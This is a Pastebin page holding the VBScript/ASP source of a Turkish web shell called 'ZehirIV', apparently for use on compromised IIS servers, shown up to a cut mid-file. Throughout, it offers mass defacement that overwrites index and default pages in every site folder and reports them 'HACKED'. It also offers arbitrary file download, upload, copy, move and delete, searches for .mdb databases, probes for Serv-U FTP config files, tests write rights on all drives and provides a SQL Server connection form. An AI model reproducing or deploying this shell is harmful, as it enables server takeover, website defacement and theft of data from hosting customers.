API tools faq
paste
Advertisement
saheenshoukath

ASP SHELL BYT WITCH3R

saheenshoukath
Jan 7th, 2015
178
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.98 KB | None | 0 0
raw download clone embed print report
  1. <%
  2. mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
  3. dosyaPath = mid(mpat,InStrRev(mpat,"\")+1)
  4. on error resume next
  5. Dim objFSO,popup
  6. Set objFSO = CreateObject ("Scripting.FileSystemObject")
  7. if Request("kuskapani")=1 then
  8. Response.End
  9. end if
  10. if Request("kuskapani")=2 then
  11. on error resume next
  12. path = Request("path")
  13. sFolder = Request("SubFolder")
  14. fName = Request("FileName")
  15. d1 = Request("dosya1")
  16. d2 = Request("dosya2")
  17. d3 = Request("dosya3")
  18. d4 = Request("dosya4")
  19. bg__ = Request.Form("selectColour")
  20. if bg__ = "0" then bg__ = "#ffffff"
  21. byMesaj = "<body bgColor='"&bg__&"'>" & Request("byMesaj") & "<br><br><center><font color=gray size=2>powered by Z" & Session("n2") & "3 ;)</font>"
  22.  
  23. sFolder = Replace(sFolder,"/","\")
  24.  
  25. if Right(sFolder,1)<>"\" then sFolder = sFolder & "\"
  26. Set f = objFSO.GetFolder(Path)
  27. Set fc = f.SubFolders
  28. h__ = 0
  29. f__ = 0
  30. ss__ = now
  31. For Each f1 In fc
  32. hedef_ = replace(f1.path,"/","\")
  33. if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\"
  34. hedef__ = left(hedef_,len(hedef_)-1)
  35. folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
  36. if d1<>"" then d1 = true
  37. if d2<>"" then d2 = true
  38. if d3<>"" then d3 = true
  39. if d4<>"" then d4 = true
  40. on error goto 0:on error resume next
  41. if fName<>"" then
  42. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
  43. MyFile.write byMesaj
  44. end if
  45. if d1 then
  46. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
  47. MyFile.write byMesaj
  48. end if
  49. if d2 then
  50. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True)
  51. MyFile.write byMesaj
  52. end if
  53. if d3 then
  54. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
  55. MyFile.write byMesaj
  56. end if
  57. if d4 then
  58. Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
  59. MyFile.write byMesaj
  60. end if
  61.  
  62. if err<>0 then
  63. response.Write folderName_ & " <font color=red>[FAILED!]</font><br>"
  64. f__ = f__ + 1
  65. else
  66. response.Write folderName_ & " <font color=blue>[HACKED]</font><br>"
  67. h__ = h__ + 1
  68. end if
  69. Next
  70. ss___ = now
  71. response.Write "<br><font color=white>by zehir!...</font><br><b>Sonuc : </b> Toplam Süre : "&left(ss__-ss___,5)&"sn. ;)<br><font color=blue>Hacked</font> = "&h__&"<br><font color=red>Failed</font> = "&f__
  72. response.End
  73. end if
  74.  
  75. status = Request("status")
  76. path = Request("path")
  77. dPath = Request("dPath")
  78. arama = Request("txArama")
  79. dkayit = Request("dkayit")
  80. table = Request("table")
  81. del = Request("del")
  82. islem = Request("islem")
  83. strSQL = Request("strSQL")
  84. cf = Request("cf")
  85. pathfile = request("pathfile")
  86. if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
  87. if status="" then status=2
  88. popup = true
  89. '////////////////////////////////
  90. Function ReadBinaryFile(FileName)
  91. Const adTypeBinary = 1
  92. Dim BinaryStream
  93. Set BinaryStream = CreateObject("ADODB.Stream")
  94. BinaryStream.Type = adTypeBinary
  95. BinaryStream.Open
  96. BinaryStream.LoadFromFile FileName
  97. ReadBinaryFile = BinaryStream.Read
  98. End Function
  99. if status="-3" then
  100. Response.Buffer=True
  101. Set Fil = objFSO.GetFile(pathfile)
  102.  
  103. Response.contenttype="application/force-download"
  104. Response.AddHeader "Cache-control","private"
  105. Response.AddHeader "Content-Length", Fil.Size
  106. Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name
  107.  
  108. Response.BinaryWrite readBinaryFile(Fil.path)
  109. Set f = Nothing: Set Fil = Nothing
  110. response.End()
  111. end if
  112. '//////////////////////////////////
  113. if status="-4" then popup=false
  114. if status="13" then popup=false
  115. if status="14" then popup=false
  116. if status="15" then popup=false
  117. if status="16" then popup=false
  118. if status="17" then popup=false
  119. if status="18" then popup=false
  120. if status="19" then popup=false
  121. if status="33" then popup=false
  122. if status="40" then popup=false
  123. if status="50" then popup=false
  124. byMsg = request.QueryString("byMsg")
  125. if byMsg<>"" then response.Write byMsg
  126. response.Write "<title>[AhmetDeniz.Org] ZehirIV --> powered by zehir &lt;zehirhacker@hotmail.com&gt;</title>"
  127. if popup then
  128. %>
  129. <center>
  130. <a href="<%=dosyaPath%>?mevla=1&status=13" onclick="sistemBilgisi(this.href);return false;">System Info</a>
  131. <font color=yellow> | </font>
  132. <a href="<%=dosyaPath%>?mevla=1&status=40" onclick="sistemTest(this.href);return false;">System Test</a>
  133. <font color=yellow> | </font>
  134. <a href="<%=dosyaPath%>?mevla=1&status=50&path=<%=path%>" onclick="SitelerTestte(this.href);return false;">Sites Test</a>
  135. <font color=yellow> | </font>
  136. <a href="<%=dosyaPath%>?mevla=1&status=14&path=<%=path%>" onclick="klasorIslemleri(this.href);return false;">Folder Action</a>
  137. <font color=yellow> | </font>
  138. <a href="<%=dosyaPath%>?mevla=1&status=15" onclick="sqlServer(this.href);return false;">SQL Server</a>
  139. <font color=yellow> | </font>
  140. <a href="<%=dosyaPath%>?mevla=1&status=33" onclick="poweredby(this.href);return false;">POWERED BY</a>
  141. <script language=javascript>
  142. function sistemBilgisi(yol){
  143. NewWindow(yol,"",600,240,"no");
  144. }
  145. function SitelerTestte(yol){
  146. NewWindow(yol,"",530,420,"no");
  147. }
  148. function klasorIslemleri(yol){
  149. NewWindow(yol,"",400,280,"no");
  150. }
  151. function sqlServer(yol){
  152. NewWindow(yol,"",300,50,"no");
  153. }
  154. function poweredby(yol){
  155. NewWindow(yol,"",300,50,"no");
  156. }
  157. function sistemTest(yol){
  158. NewWindow(yol,"",400,300,"no");
  159. }
  160. </script>
  161. <%
  162. end if
  163. '####################################
  164. Class clsUpload
  165. Private mbinData
  166. Private mlngChunkIndex
  167. Private mlngBytesReceived
  168. Private mstrDelimiter
  169. Private CR
  170. Private LF
  171. Private CRLF
  172. Private mobjFieldAry()
  173. Private mlngCount
  174.  
  175. Private Sub RequestData
  176. Dim llngLength
  177. mlngBytesReceived = Request.TotalBytes
  178. mbinData = Request.BinaryRead(mlngBytesReceived)
  179. End Sub
  180.  
  181. Private Sub ParseDelimiter()
  182. mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
  183. End Sub
  184.  
  185. Private Sub ParseData()
  186. Dim llngStart
  187. Dim llngLength
  188. Dim llngEnd
  189. Dim lbinChunk
  190. llngStart = 1
  191. llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
  192. While Not llngStart = 0
  193. llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
  194. llngLength = llngEnd - llngStart
  195. lbinChunk = MidB(mbinData, llngStart, llngLength)
  196. Call ParseChunk(lbinChunk)
  197. llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
  198. Wend
  199. End Sub
  200.  
  201. Private Sub ParseChunk(ByRef pbinChunk)
  202. Dim lstrName
  203. Dim lstrFileName
  204. Dim lstrContentType
  205. Dim lbinData
  206. Dim lstrDisposition
  207. Dim lstrValue
  208. lstrDisposition = ParseDisposition(pbinChunk)
  209. lstrName = ParseName(lstrDisposition)
  210. lstrFileName = ParseFileName(lstrDisposition)
  211. lstrContentType = ParseContentType(pbinChunk)
  212. If lstrContentType = "" Then
  213. lstrValue = CStrU(ParseBinaryData(pbinChunk))
  214. Else
  215. lbinData = ParseBinaryData(pbinChunk)
  216. End If
  217. Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
  218. End Sub
  219.  
  220. Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
  221. Dim lobjField
  222. ReDim Preserve mobjFieldAry(mlngCount)
  223. Set lobjField = New clsField
  224. lobjField.Name = pstrName
  225. lobjField.FilePath = pstrFileName
  226. lobjField.ContentType = pstrContentType
  227. If LenB(pbinData) = 0 Then
  228. lobjField.BinaryData = ChrB(0)
  229. lobjField.Value = pstrValue
  230. lobjField.Length = Len(pstrValue)
  231. Else
  232. lobjField.BinaryData = pbinData
  233. lobjField.Length = LenB(pbinData)
  234. lobjField.Value = ""
  235. End If
  236. Set mobjFieldAry(mlngCount) = lobjField
  237. mlngCount = mlngCount + 1
  238. End Sub
  239.  
  240. Private Function ParseBinaryData(ByRef pbinChunk)
  241. Dim llngStart
  242. llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
  243. If llngStart = 0 Then Exit Function
  244. llngStart = llngStart + 4
  245. ParseBinaryData = MidB(pbinChunk, llngStart)
  246. End Function
  247.  
  248. Private Function ParseContentType(ByRef pbinChunk)
  249. Dim llngStart
  250. Dim llngEnd
  251. Dim llngLength
  252. llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
  253. If llngStart = 0 Then Exit Function
  254. llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
  255. If llngEnd = 0 Then Exit Function
  256. llngStart = llngStart + 15
  257. If llngStart >= llngEnd Then Exit Function
  258. llngLength = llngEnd - llngStart
  259. ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
  260. End Function
  261.  
  262. Private Function ParseDisposition(ByRef pbinChunk)
  263. Dim llngStart
  264. Dim llngEnd
  265. Dim llngLength
  266. llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
  267. If llngStart = 0 Then Exit Function
  268. llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
  269. If llngEnd = 0 Then Exit Function
  270. llngStart = llngStart + 22
  271. If llngStart >= llngEnd Then Exit Function
  272. llngLength = llngEnd - llngStart
  273. ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
  274. End Function
  275.  
  276. Private Function ParseName(ByRef pstrDisposition)
  277. Dim llngStart
  278. Dim llngEnd
  279. Dim llngLength
  280. llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
  281. If llngStart = 0 Then Exit Function
  282. llngEnd = InStr(llngStart + 6, pstrDisposition, """")
  283. If llngEnd = 0 Then Exit Function
  284. llngStart = llngStart + 6
  285. If llngStart >= llngEnd Then Exit Function
  286. llngLength = llngEnd - llngStart
  287. ParseName = Mid(pstrDisposition, llngStart, llngLength)
  288. End Function
  289. ' ------------------------------------------------------------------------------
  290. Private Function ParseFileName(ByRef pstrDisposition)
  291. Dim llngStart
  292. Dim llngEnd
  293. Dim llngLength
  294. llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
  295. If llngStart = 0 Then Exit Function
  296. llngEnd = InStr(llngStart + 10, pstrDisposition, """")
  297. If llngEnd = 0 Then Exit Function
  298. llngStart = llngStart + 10
  299. If llngStart >= llngEnd Then Exit Function
  300. llngLength = llngEnd - llngStart
  301. ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
  302. End Function
  303.  
  304. Public Property Get Count()
  305. Count = mlngCount
  306. End Property
  307.  
  308. Public Default Property Get Fields(ByVal pstrName)
  309. Dim llngIndex
  310. If IsNumeric(pstrName) Then
  311. llngIndex = CLng(pstrName)
  312. If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
  313. Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
  314. Exit Property
  315. End If
  316. Set Fields = mobjFieldAry(pstrName)
  317. Else
  318. pstrName = LCase(pstrname)
  319. For llngIndex = 0 To mlngCount - 1
  320. If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
  321. Set Fields = mobjFieldAry(llngIndex)
  322. Exit Property
  323. End If
  324. Next
  325. End If
  326. Set Fields = New clsField
  327. End Property
  328.  
  329. Private Sub Class_Terminate()
  330. Dim llngIndex
  331. For llngIndex = 0 To mlngCount - 1
  332. Set mobjFieldAry(llngIndex) = Nothing
  333.  
  334. Next
  335. ReDim mobjFieldAry(-1)
  336. End Sub
  337.  
  338. Private Sub Class_Initialize()
  339. ReDim mobjFieldAry(-1)
  340. CR = ChrB(Asc(vbCr))
  341. LF = ChrB(Asc(vbLf))
  342. CRLF = CR & LF
  343. mlngCount = 0
  344. Call RequestData
  345. Call ParseDelimiter()
  346. Call ParseData
  347. End Sub
  348.  
  349. Private Function CStrU(ByRef pstrANSI)
  350. Dim llngLength
  351. Dim llngIndex
  352. llngLength = LenB(pstrANSI)
  353. For llngIndex = 1 To llngLength
  354. CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
  355. Next
  356. End Function
  357.  
  358. Private Function CStrB(ByRef pstrUnicode)
  359. Dim llngLength
  360. Dim llngIndex
  361. llngLength = Len(pstrUnicode)
  362. For llngIndex = 1 To llngLength
  363. CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
  364. Next
  365. End Function
  366. End Class
  367. '####################################
  368. Session("n1") = "byZ"
  369. Class clsField
  370. Public Name
  371. Private mstrPath
  372. Public FileDir
  373. Public FileExt
  374. Public FileName
  375. Public ContentType
  376. Public Value
  377. Public BinaryData
  378. Public Length
  379. Private mstrText
  380.  
  381. Public Property Get BLOB()
  382. BLOB = BinaryData
  383. End Property
  384.  
  385. Public Function BinaryAsText()
  386. Dim lbinBytes
  387. Dim lobjRs
  388. If Length = 0 Then Exit Function
  389. If LenB(BinaryData) = 0 Then Exit Function
  390.  
  391. If Not Len(mstrText) = 0 Then
  392. BinaryAsText = mstrText
  393. Exit Function
  394. End If
  395. lbinBytes = ASCII2Bytes(BinaryData)
  396. mstrText = Bytes2Unicode(lbinBytes)
  397. BinaryAsText = mstrText
  398. End Function
  399.  
  400. Public Sub SaveAs(ByRef pstrFileName)
  401. Const adTypeBinary=1
  402. Const adSaveCreateOverWrite=2
  403. Dim lobjStream
  404. Dim lobjRs
  405. Dim lbinBytes
  406. If Length = 0 Then Exit Sub
  407. If LenB(BinaryData) = 0 Then Exit Sub
  408. Set lobjStream = Server.CreateObject("ADODB.Stream")
  409. lobjStream.Type = adTypeBinary
  410. Call lobjStream.Open()
  411. lbinBytes = ASCII2Bytes(BinaryData)
  412. Call lobjStream.Write(lbinBytes)
  413.  
  414. On Error Resume Next
  415.  
  416. Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
  417.  
  418. 'if err<>0 then response.Write "<br>"&err.Description
  419.  
  420. Call lobjStream.Close()
  421. Set lobjStream = Nothing
  422. End Sub
  423.  
  424. Public Property Let FilePath(ByRef pstrPath)
  425. mstrPath = pstrPath
  426. If Not InStrRev(pstrPath, ".") = 0 Then
  427. FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
  428. FileExt = UCase(FileExt)
  429. End If
  430. If Not InStrRev(pstrPath, "\") = 0 Then
  431. FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
  432. End If
  433. If Not InStrRev(pstrPath, "\") = 0 Then
  434. FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
  435. End If
  436. End Property
  437.  
  438. Public Property Get FilePath()
  439. FilePath = mstrPath
  440. End Property
  441.  
  442. private Function ASCII2Bytes(ByRef pbinBinaryData)
  443. Const adLongVarBinary=205
  444. Dim lobjRs
  445. Dim llngLength
  446. Dim lbinBuffer
  447. llngLength = LenB(pbinBinaryData)
  448. Set lobjRs = Server.CreateObject("ADODB.Recordset")
  449. Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
  450. Call lobjRs.Open()
  451. Call lobjRs.AddNew()
  452. Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
  453. Call lobjRs.Update()
  454. lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
  455. Call lobjRs.Close()
  456. Set lobjRs = Nothing
  457. ASCII2Bytes = lbinBuffer
  458. End Function
  459.  
  460. Private Function Bytes2Unicode(ByRef pbinBytes)
  461. Dim lobjRs
  462. Dim llngLength
  463. Dim lstrBuffer
  464. llngLength = LenB(pbinBytes)
  465. Set lobjRs = Server.CreateObject("ADODB.Recordset")
  466. Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
  467. Call lobjRs.Open()
  468. Call lobjRs.AddNew()
  469. Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
  470. Call lobjRs.Update()
  471. lstrBuffer = lobjRs.Fields("BinaryData").Value
  472. Call lobjRs.Close()
  473. Set lobjRs = Nothing
  474. Bytes2Unicode = lstrBuffer
  475. End Function
  476. End Class
  477. Session("n2") = "ehir"
  478. '####################################
  479. function addslash(path)
  480. if right(path,1)="\" then addslash=path else addslash=path & "\"
  481. end function
  482.  
  483. sub Upload()
  484. dim objUpload,f,max,i,name,path,size,success
  485.  
  486. set objUpload=New clsUpload
  487.  
  488. targetPath=objUpload.Fields("folder").Value
  489. max=objUpload.Fields("max").Value
  490.  
  491. for i=1 to max
  492. name=objUpload.Fields("file" & i).FileName
  493. size=objUpload.Fields("file" & i).Length
  494. if (name<>"") and (size>0) then
  495. gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
  496. path=addslash(targetPath) & name
  497. objUpload.Fields("file" & i).SaveAs path
  498.  
  499. if objFSO.FileExists(path) then
  500. on error resume next
  501. set f=objFSO.GetFile(path)
  502. if IsObject(f) then
  503. if f.Size=size then success=true else success=false
  504. end if
  505. set f=nothing
  506. end if
  507. if success then gMsg=gMsg & "<font color=blue>uploaded</font>" else gMsg = gMsg & "<font color=red>failed!</font>"
  508. end if
  509. next
  510. response.Write gMsg
  511. set objUpload=nothing
  512.  
  513. end sub
  514.  
  515. if status="-4" then
  516. Upload()
  517. ' hataKontrol
  518. popup=false
  519. end if
  520. '////////////////////////////////
  521. sub hataKontrol
  522. if err<>0 then
  523. Response.Write "<font color=red size=2>Hata : "&err.Description&"</font>"
  524. end if
  525. end sub
  526.  
  527. sub araBul(path_,ara_)
  528. on error resume next
  529. If Len(path_) > 0 Then
  530. cur = path_&"\"
  531. If cur = "\\" Then cur = ""
  532. parent = ""
  533. If InStrRev(cur,"\") > 0 Then
  534. parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
  535. End If
  536. Else
  537. cur = ""
  538. End If
  539.  
  540. Set f = objFSO.GetFolder(cur)
  541.  
  542. Set fc = f.Files
  543. For Each f1 In fc
  544. if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
  545. downStr = "<font face=webdings size=5><a href='"&dosyapath&"?status=-3&pathFile="&f1.path&"&Time="&time&"'>Í</a></font>"
  546. if lcase(ara_)="mdb" then
  547. Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a></font> * <a href='"&dosyapath&"?status=7&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
  548. else
  549. Response.Write downStr&"<font face=wingdings size=5><a href='"&dosyapath&"?status=3&path="&path_&"&Del="&f1.path&"&Time="&time&"'>û</a><a href='"&dosyapath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a></font> - <a href='"&dosyapath&"?status=5&path="&f1.path&"&Time="&time&"'>"&f1.path&" ["&f1.size&"]"&"</a></b><br>"
  550. end if
  551. end if
  552. Next
  553.  
  554. Set fs = f.SubFolders
  555. For Each f1 In fs
  556. araBul f1.path,ara_
  557. Next
  558. Set f = Nothing
  559. Set fc = Nothing
  560. Set fs = Nothing
  561. end sub
  562.  
  563. sub sistemTest
  564. response.Write "<table width='100%' align=center cellpadding=0 cellspacing=0 border=1>"
  565. response.Write "<tr bgcolor=#ffffc0><td width='30%' align=center><font color=navy><b>Konum</td><td width='70%' align=center><font color=navy><b>Sonuç</td></tr>"
  566.  
  567. servu_Test
  568. WriteTestOnDriver
  569. WriteTestOnLocalPath
  570. LocalPathParentFolder
  571. LocalPathPParentFolder
  572.  
  573. response.Write "</table>"
  574. end sub
  575.  
  576. sub servu_Test
  577. dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
  578. for each drive_ in objFSO.Drives
  579. if drive_.Drivetype=2 or drive_.Drivetype=3 then
  580. for each d_ in dosya_
  581. d_ = drive_.DriveLetter&":\"&d_
  582. if objFSO.FileExists(d_) then
  583. response.Write "<tr><td><b>Serv-U ini file : </td><td><font color=yellow>"&d_&"</td></tr>"
  584. end if
  585. next
  586. end if
  587. next
  588. end sub
  589.  
  590. function yaziyomu(yol)
  591. on error goto 0:on error resume next
  592. dim sonuc__
  593. Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
  594. MyFile.write "byzehir <zehirhacker@hotmail.com>"
  595. set MyFile = Nothing
  596. if err<>0 then
  597. sonuc__="<font color=red>Yazma Hakký Yok!</font>"
  598. else
  599. sonuc__="<font color=yellow>Yazma Hakký Var!</font>"
  600. on error goto 0: on error resume next
  601. objFSO.DeleteFile yol & "\test.zehir",true
  602. if err<>0 then
  603. sonuc__=sonuc__&"<br><font color=red>Silme Hakký Yok!</font>"
  604. else
  605. sonuc__=sonuc__&"<br><font color=yellow>Silme Hakký Var!</font>"
  606. end if
  607. end if
  608. yaziyomu = sonuc__
  609. end function
  610.  
  611. function yaziyomu2(yol)
  612. on error goto 0:on error resume next
  613. Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
  614. MyFile.write "byzehir <zehirhacker@hotmail.com>"
  615. set MyFile = Nothing
  616. if err<>0 then
  617. yaziyomu2 = false
  618. else
  619. objFSO.DeleteFile yol & "\test.zehir"
  620. yaziyomu2 = true
  621. end if
  622. end function
  623.  
  624. sub WriteTestOnDriver
  625. for each drive_ in objFSO.Drives
  626. if drive_.Drivetype=2 or drive_.Drivetype=3 then
  627. if not yaziyomu2(drive_.DriveLetter&":\") then
  628. Response.Write "<tr><td><b>"&drive_.DriveLetter&":\</td><td><font color=red>yazma yetkisi yok! : ["&err.Description&"]</td></tr>"
  629. else
  630. Response.Write "<tr><td><b>"&drive_.DriveLetter&":\</td><td><font color=yellow>yazma yetkisi var!</td></tr>"
  631. end if
  632. end if
  633. next
  634. end sub
  635.  
  636. sub WriteTestOnLocalPath
  637. on error goto 0
  638. on error resume next
  639. if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
  640. Response.Write "<tr><td><b>Local Path </td><td><font color=red>yazma yetkisi yok! : ["&err.Description&"]</td></tr>"
  641. else
  642. Response.Write "<tr><td><b>Local Path </td><td><font color=yellow>yazma yetkisi var!</td></tr>"
  643. end if
  644. end sub
  645.  
  646. sub LocalPathParentFolder
  647. on error goto 0
  648. on error resume next
  649. hed_ = request.servervariables("APPL_PHYSICAL_PATH")
  650. if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  651. parhed_ = left(hed_,InStrRev(hed_,"\"))
  652.  
  653. Set f = objFSO.GetFolder(parhed_)
  654. Set fc = f.SubFolders
  655.  
  656. int_fol=0
  657. int_fil=0
  658. For Each f1 In fc
  659. int_fol=int_fol+1
  660. Next
  661.  
  662. Set fc = f.files
  663. For Each f1 In fc
  664. int_fil=int_fil+1
  665. Next
  666.  
  667. if err<>0 then
  668. Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=red>Hata Oluþtu : ["&err.Description&"]</td></tr>"
  669. else
  670. Response.Write "<tr><td><b>Local Path <br>Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
  671. end if
  672. end sub
  673.  
  674. sub LocalPathPParentFolder
  675. on error goto 0
  676. on error resume next
  677. hed_ = request.servervariables("APPL_PHYSICAL_PATH")
  678. if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  679. hed_ = left(hed_,InStrRev(hed_,"\"))
  680. if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
  681. parhed_ = left(hed_,InStrRev(hed_,"\"))
  682.  
  683. Set f = objFSO.GetFolder(parhed_)
  684. Set fc = f.SubFolders
  685. int_fol=0
  686. int_fil=0
  687. For Each f1 In fc
  688. int_fol=int_fol+1
  689. Next
  690.  
  691. Set fc = f.files
  692. For Each f1 In fc
  693. int_fil=int_fil+1
  694. Next
  695.  
  696. if err<>0 then
  697. if err=451 then
  698. Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Data Üst Klasor Yok :)</td></tr>"
  699. else
  700. Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=red>Hata Oluþtu : ["&err.Description&"]</td></tr>"
  701. end if
  702. else
  703. Response.Write "<tr><td><b>Local Path <br>P.Parent Folder</td><td><font color=yellow>Folder : "&FormatNumber(int_fol,0)&"<br>File : "&FormatNumber(int_fil,0)&"</td></tr>"
  704. end if
  705. end sub
  706.  
  707. SELECT CASE status
  708. CASE 13 'Sistem Bilgisi
  709. Response.Write "<table width=100% cellpadding=0 cellspacing=0><tr><td colspan=2 align=center><font color=yellow face='courier new'><b><font style='FONT-WEIGHT:normal' color=red face=wingdings>:</font> Sistem Bilgileri <font color=red face=wingdings style='FONT-WEIGHT:normal'>:</font></td></tr>"
  710. Response.Write "<tr><td><b><font color=red>Local Adres</td><td> " & request.servervariables("REMOTE_ADDR") & "</td></tr>"
  711. Response.Write "<tr><td><b><font color=red>User Agent</td><td> " & request.servervariables("HTTP_USER_AGENT") & "</td></tr>"
  712. Response.Write "<tr><td><b><font color=red>Server</td><td> " & request.servervariables("SERVER_NAME") & "</td></tr>"
  713. Response.Write "<tr><td><b><font color=red>IP</td><td> " & request.servervariables("LOCAL_ADDR") & "</td></tr>"
  714. Response.Write "<tr><td><b><font color=red>HTTPD</td><td> " & request.servervariables("SERVER_SOFTWARE") & "</td></tr>"
  715. Response.Write "<tr><td><b><font color=red>Port</td><td> " & request.servervariables("SERVER_PORT") & "</td></tr>"
  716. Response.Write "<tr><td><b><font color=red>Yol</td><td> " & request.servervariables("APPL_PHYSICAL_PATH") & "</td></tr>"
  717. Response.Write "<tr><td><b><font color=red>Log Root</td><td> " & request.servervariables("APPL_MD_PATH") & "</td></tr>"
  718. Response.Write "<tr><td><b><font color=red>HTTPS</td><td> " & request.servervariables("HTTPS") & "</td></tr>"
  719. Response.Write "</table>"
  720. popup = false
  721. CASE 14 'Upload and Search
  722. aramaUpload
  723. popup = false
  724. hataKontrol
  725. CASE 15 'Ms. SQL Server
  726. Response.Write "<form method=get action='"&DosyPath&"' target='_opener' id=form1 name=form1>"
  727. Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>SQL Server için connection string giriniz</td></tr><tr><td align=center>"
  728. Response.Write "<input type=hidden value='7' name=status><input type=hidden value='"&time&"' name=Time>"
  729. Response.Write "<input style='width:250; height:21' value='' name=path><br>"
  730. response.Write "<input type=submit value='SQL Servera Baðlan' style='height:23;width:170' id=submit1 name=submit1>"
  731. Response.Write "</td></tr></table>"
  732. response.Write "</form>"
  733.  
  734. popup = false
  735. hataKontrol
  736. CASE 16 'file Copy window
  737. Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  738. Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
  739. Response.Write "<input type=hidden value='17' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
  740. Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
  741. response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
  742. Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
  743. response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
  744. response.Write "<input type=radio name='islem' value='tasi'>Tasi"
  745. response.Write "</table>"
  746. response.Write "</form>"
  747.  
  748. popup = false
  749. hataKontrol
  750. CASE 17 'file Copy
  751. isl = ""
  752. if islem="kopyala" then
  753. objFSO.CopyFile path,cf
  754. isl="kopyalandý.."
  755. elseif islem="tasi" then
  756. objFSO.MoveFile path,cf
  757. isl="taþýndý.."
  758. end if
  759. response.Write "Dosya "&isl
  760. response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
  761. response.Write "<br>"
  762. popup = false
  763. hataKontrol
  764. CASE 18 'folder Copy window
  765. Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  766. Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
  767. Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
  768. Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
  769. response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
  770. Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
  771. response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
  772. response.Write "<input type=radio name='islem' value='tasi'>Tasi"
  773. response.Write "</table>"
  774. response.Write "</form>"
  775.  
  776. popup = false
  777. hataKontrol
  778. CASE 19 'folder Copy
  779. isl = ""
